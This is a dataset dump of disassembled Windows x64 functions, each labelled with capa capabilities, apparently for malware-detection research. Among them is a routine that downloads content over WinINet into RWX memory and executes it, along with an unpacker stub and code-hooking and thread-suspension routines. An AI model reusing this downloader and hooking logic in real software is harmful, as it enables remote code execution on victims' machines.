joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001540
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov edi, ecx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400015c2
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x24]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400015b9
mov rcx, rbx
cmp dword [rsp + 0x28], edi
je 0x1400015e5
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400015a1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400029e0
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
jmp 0x1400015c4

Function at 0x140003360
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400033aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400033aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400033aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400033aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400033aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400033ac
xor al, al
add rsp, 0x28
ret
Function at 0x62f700
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x62f70d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x62f71d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x62f705
lea eax, [rcx + 1]
jmp 0x62f72b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x62f73e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x62f724
sub eax, 3
jb 0x62f75e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x62f7ad
sar eax, 1
movsxd rbp, eax
jb 0x62f794
jmp 0x62f76c
add ebx, ebx
jne 0x62f76a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x62f794
inc ecx
add ebx, ebx
jne 0x62f77a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x62f794
call r11
adc ecx, ecx
add ebx, ebx
jne 0x62f78d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x62f77c
add ecx, 2
jmp 0x62f799
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0062f6c2
jmp 0x62f70d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xcdc00
mov dl, 0x12
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x62f7f9
cmp rsi, rcx
jae 0x62f801
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x62f7e0
cmp al, 0x8f
ja 0x62f7e0
cmp byte [rsi - 2], 0xf
je 0x62f7e6
sub al, 0xe8
cmp al, 1
ja 0x62f7ca
cmp rsi, rcx
jae 0x62f801
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x62f7d0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x62f801
lodsb al, byte [rsi]
jmp 0x62f7e0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x22b000]
mov eax, dword [rdi]
or eax, eax
je 0x62f85e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x22f000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x62f80e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x62f858
mov qword [rbx], rax
add rbx, 8
jmp 0x62f82e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x62f898
cmp al, 0xef
ja 0x62f88a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x62f86a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x62f879
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x62f8ec
sub rsp, 0xffffffffffffff80
jmp 0x460480
Function at 0x406e50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data

Disassembly:
push rbx
sub rsp, 0x90
mov qword [rsp + 0x30], 0xfffffffffffffffe
lea rcx, [rsp + 0x38]
call fcn.004025b4
cmp qword [rax + 0x20], 0x10
jb 0x406e79
mov rcx, qword [rax + 8]
jmp 0x406e7d
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x0041a2e8], rax
cmp qword [rsp + 0x58], 0x10
jb 0x406e9c
mov rcx, qword [rsp + 0x40]
call fcn.00408510
lea rcx, [rsp + 0x60]
call fcn.00402f1c
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.00401a8c
nop
cmp qword [rbx + 0x20], 0x10
jb 0x406ec1
mov rbx, qword [rbx + 8]
jmp 0x406ec5
add rbx, 8
cmp qword [rax + 0x20], 0x10
jb 0x406ed2
mov rdx, qword [rax + 8]
jmp 0x406ed6
lea rdx, [rax + 8]
mov rcx, qword [0x0041a2e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rbx
call rax
mov qword [0x0041a2f8], rax
cmp qword [rsp + 0x58], 0x10
jb 0x406f13
mov rcx, qword [rsp + 0x40]
call fcn.00408510
mov ebx, 0xf
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
cmp qword [rsp + 0x80], 0x10
jb 0x406f40
mov rcx, qword [rsp + 0x68]
call fcn.00408510
lea rcx, [rsp + 0x38]
call fcn.004035e4
cmp qword [rax + 0x20], 0x10
jb 0x406f57
mov rdx, qword [rax + 8]
jmp 0x406f5b
lea rdx, [rax + 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x0041a2f8]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [0x0041a2f0], rax
cmp qword [rsp + 0x58], 0x10
jb 0x406f9f
mov rcx, qword [rsp + 0x40]
call fcn.00408510
mov rax, qword [0x0041a2f0]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
mov dword [0x0041a3e4], 4
mov qword [rsp + 0x20], 0
lea r9, [0x0041a3e4]
lea r8, [0x0041a3e0]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [0x0041a3e0]
call fcn.00408440
mov qword [0x0041a3d8], rax
lea r9, [0x0041a3e8]
mov r8d, dword [0x0041a3e0]
mov rdx, rax
mov rcx, qword [0x0041a2f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [0x0041a3e0]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x0041a300], rax
mov r8d, dword [0x0041a3e0]
mov rdx, qword [0x0041a3d8]
mov rcx, rax
add rsp, 0x90
pop rbx
jmp fcn.00407e40
Function at 0x407088
Capabilities:
Hide graphical window

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0xf0
mov qword [rsp + 0xe0], 0xfffffffffffffffe
mov edi, r9d
mov rbx, rcx
mov dword [rsp + 0x60], 0x50
mov dword [rsp + 0x64], 3
lea rax, [0x004072f0]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
mov qword [rsp + 0x78], rcx
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 6
lea rbp, [0x0041a310]
mov qword [rsp + 0xa0], rbp
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_RegisterClassExW]
lea rcx, [rsp + 0x60]
call fcn.00401044
cmp qword [rax + 0x20], 0x10
jb 0x407128
mov rcx, qword [rax + 8]
jmp 0x40712c
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x0041a210], rax
cmp qword [rsp + 0x80], 0x10
jb 0x40714e
mov rcx, qword [rsp + 0x68]
call fcn.00408510
lea rcx, [rsp + 0x60]
call fcn.004057f0
cmp qword [rax + 0x20], 0x10
jb 0x407165
mov rcx, qword [rax + 8]
jmp 0x407169
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x0041a308], rax
cmp qword [rsp + 0x80], 0x10
jb 0x40718b
mov rcx, qword [rsp + 0x68]
call fcn.00408510
mov qword [0x0041a218], rbx
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000080
lea r8, [0x0041a220]
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
mov edx, edi
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.00406e50
lea rcx, [rsp + 0x60]
call fcn.00406088
nop
cmp qword [rax + 0x20], 0x10
jb 0x40721e
mov rdx, qword [rax + 8]
jmp 0x407222
lea rdx, [rax + 8]
mov rcx, qword [0x0041a308]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov rdx, qword [0x0041a300]
xor ecx, ecx
call rax
nop
cmp qword [rsp + 0x80], 0x10
jb 0x407253
mov rcx, qword [rsp + 0x68]
call fcn.00408510
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x4072c5
lea r8, [rsp + 0xb0]
mov rdx, qword [rsp + 0x110]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x4072ab
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x40726d
mov eax, dword [rsp + 0xc0]
add rsp, 0xf0
pop rdi
pop rbp
pop rbx
ret
Function at 0x408ac7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x00418048]
jne 0x407e2a
rol rcx, 0x10
test cx, 0xffff
jne 0x407e26
repz ret
ror rcx, 0x10
jmp 0x408a20
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x00419320]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x00419418]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x408aa5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x00419320]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x408ac7
mov rax, qword [rsp + 0x88]
mov qword [0x00419418], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x004193b8], rax
mov rax, qword [0x00419418]
mov qword [0x00419290], rax
mov rax, qword [rsp + 0x90]
mov qword [0x004193a0], rax
mov dword [0x00419280], 0xc0000409
mov dword [0x00419284], 1
mov rax, qword [0x00418048]
mov qword [rsp + 0x68], rax
mov rax, qword [0x00418050]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x00419318], eax
mov ecx, 1
call fcn.0040b3d0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x00412358]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x00419318], 0
jne 0x408b4e
mov ecx, 1
call fcn.0040b3d0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x40c000
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.0040ad40
xor ebx, ebx
cmp qword [0x0041a0d0], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x40c131
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x40c063
xor eax, eax
jmp 0x40c211
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x40c05c
mov rcx, rax
call fcn.0040acd0
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x0041a0d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.0040acd0
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x0041a0d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.0040acd0
lea rcx, [rsp + 0x30]
mov qword [0x0041a0e0], rax
call fcn.004094c0
test eax, eax
je 0x40c0e7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00408b80
cmp dword [rsp + 0x30], 2
jne 0x40c131
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.0040acd0
test rax, rax
mov qword [0x0041a0f0], rax
je 0x40c131
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.0040acd0
mov qword [0x0041a0e8], rax
mov rcx, qword [0x0041a0e8]
cmp rcx, rsi
je 0x40c1c3
cmp qword [0x0041a0f0], rsi
je 0x40c1c3
call fcn.0040ada0
call rax
test rax, rax
mov rbp, rax
je 0x40c18e
mov rcx, qword [0x0041a0f0]
call fcn.0040ada0
lea rcx, [rsp + 0x38]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x40c18e
test byte [rsp + 0x48], 1
jne 0x40c1c3
lea rcx, [rsp + 0x34]
call fcn.00409510
test eax, eax
je 0x40c1b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00408b80
cmp dword [rsp + 0x34], 4
jb 0x40c1bd
bts edi, 0x15
jmp 0x40c1f7
bts edi, 0x12
jmp 0x40c1f7
mov rcx, qword [0x0041a0d8]
cmp rcx, rsi
je 0x40c1f7
call fcn.0040ada0
call rax
test rax, rax
mov rbx, rax
je 0x40c1f7
mov rcx, qword [0x0041a0e0]
cmp rcx, rsi
je 0x40c1f7
call fcn.0040ada0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x0041a0d0]
call fcn.0040ada0
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x18000d544
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd rbp, r9d
mov r14, r8
test r8, r8
je 0x18000d56b
and qword [r8], 0
call fcn.18000d650
mov rbx, rax
test rax, rax
je 0x18000d633
mov rcx, rax
call fcn.18000d4cc
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000d62a
mov rax, qword [0x1800cfd08]
test rax, rax
je 0x18000d5a3
inc dword [rax + 0xf4]
mov rdx, qword [0x1800cfd18]
lea rcx, [rdi + rbp]
call qword [0x1800ce1a0]
mov rsi, rax
test rax, rax
je 0x18000d62a
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rdi
je 0x18000d602
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1800cfd08]
test rax, rax
je 0x18000d5f0
dec dword [rax + 0xf4]
mov rdx, qword [0x1800cfd18]
mov rcx, rsi
call qword [0x1800ce1a8]
jmp 0x18000d633
test ebp, ebp
jle 0x18000d614
lea rcx, [rsi + rdi]
mov r8, rbp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x18000d625
mov qword [r14], rdi
mov rax, rsi
jmp 0x18000d635
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x18000e120
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rcx
not r8d
test rdx, rdx
je 0x18000e14e
movzx eax, byte [r9]
inc r9
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x180058dc0]
xor r8d, dword [rax + rcx*4]
sub rdx, 1
jne 0x18000e12b
not r8d
mov eax, r8d
ret

Function at 0x18000e158
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x18000e1b2
mov r11b, 0x23
lea rbx, [0x180058dc0]
movzx edi, byte [r10]
dec rdx
inc r10
cmp dil, r11b
jne 0x18000e19c
cmp rdx, 2
jb 0x18000e19c
cmp byte [r10], r11b
jne 0x18000e19c
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rdi
shr r9d, 8
xor r9d, dword [rbx + rcx*4]
test rdx, rdx
jne 0x18000e17a
jmp 0x18000e1f3
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x18000e1f3
mov r11b, 0x23
lea rbx, [0x180058dc0]
cmp dl, r11b
jne 0x18000e1d7
cmp byte [r10], r11b
jne 0x18000e1d7
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rbx + rcx*4]
test dl, dl
jne 0x18000e1c5
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret
Function at 0x180010168
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c58], 0
lea rbx, [rcx + 0x5c60]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x180010201
mov r9d, dword [rbx + 4]
test r9d, r9d
jns 0x1800101b9
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.18001c848
and dword [rbx], 0
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call fcn.18001be64
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c58]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x1800cfd10]
movsxd r8, eax
mov rax, qword [rdi + 0x5c68]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x180010209
mov rcx, rbx
call fcn.18001be64
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180017268
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x1800cfd08]
mov rbx, rcx
and dword [rax + 0x5bbc], 0
test rcx, rcx
je 0x1800172d1
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.1800172dc
lea rdx, [0x18005a68c]
mov rcx, rbx
mov rdi, rax
call fcn.18000d650
mov rbx, rax
test rax, rax
je 0x1800172d1
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180047850
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x1800cf500]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
mov esi, edx
imul rbx, rax, 0x38
add rbx, qword [0x1800d1440]
mov rdx, qword [rbx]
mov cl, byte [rbx + 0x20]
mov rbp, rdx
lea rdi, [rdx - 5]
and cl, 1
je 0x180047895
mov rbp, rdi
movzx eax, cl
lea r9, [rsp + 0x20]
test cl, cl
mov r8d, 0x40
cmove rdi, rdx
lea r14, [rax*2 + 5]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1800478cb
mov eax, 0xa
jmp 0x18004795a
test esi, esi
je 0x1800478ed
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, ebp
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x18004790e
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x18004790e
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180047908
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x18004790e
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, r14
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, sil
shl sil, 2
add al, al
xor al, byte [rbx + 0x20]
and al, 2
xor al, byte [rbx + 0x20]
xor sil, al
and sil, 4
xor sil, al
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180055f00
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x1800479bc
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1800cf500]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov r15d, edx
mov rdi, rcx
mov qword [rcx], rbx
mov qword [rcx + 8], rbx
xor edx, edx
mov r14d, r8d
mov esi, ebx
lea ecx, [rbx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x180047b58
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180047afa
lea esi, [rbx + 1]
cmp dword [rsp + 0x20], 0x10
jb 0x180047ab6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180047ab6
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180047ab6
mov rdx, qword [rdi]
test rdx, rdx
jne 0x180047a78
mov dword [rdi + 8], 0x80
mov r8d, 0x200
mov rcx, qword [0x1800d00c0]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rdi], rax
mov rdx, rax
test rax, rax
je 0x180047ade
jmp 0x180047aa9
mov eax, dword [rdi + 8]
cmp dword [rdi + 0xc], eax
jb 0x180047aa9
add eax, eax
mov r8, rdx
mov r9d, eax
xor edx, edx
mov dword [rdi + 8], eax
mov rcx, qword [0x1800d00c0]
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x180047ade
mov qword [rdi], rax
mov ecx, dword [rdi + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rdi + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rbp
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180047a26
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x180047afa
mov esi, ebx
cmp qword [rdi], rbx
je 0x180047afa
mov r8, qword [rdi]
xor edx, edx
mov rcx, qword [0x1800d00c0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rdi], rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x180047b58
cmp qword [rdi], rbx
je 0x180047b5d
mov esi, ebx
cmp dword [rdi + 0xc], ebx
jbe 0x180047b5d
mov r8, qword [rdi]
xor edx, edx
mov eax, esi
lea ecx, [rdx + 0x5a]
mov r8d, dword [r8 + rax*4]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x180047b4f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, r14d
mov edx, r15d
mov rcx, rbp
call fcn.180047d9c
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rdi + 0xc]
jb 0x180047b13
jmp 0x180047b5d
mov ebx, 9
mov eax, ebx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180055f00
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180047f2c
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x180047f90
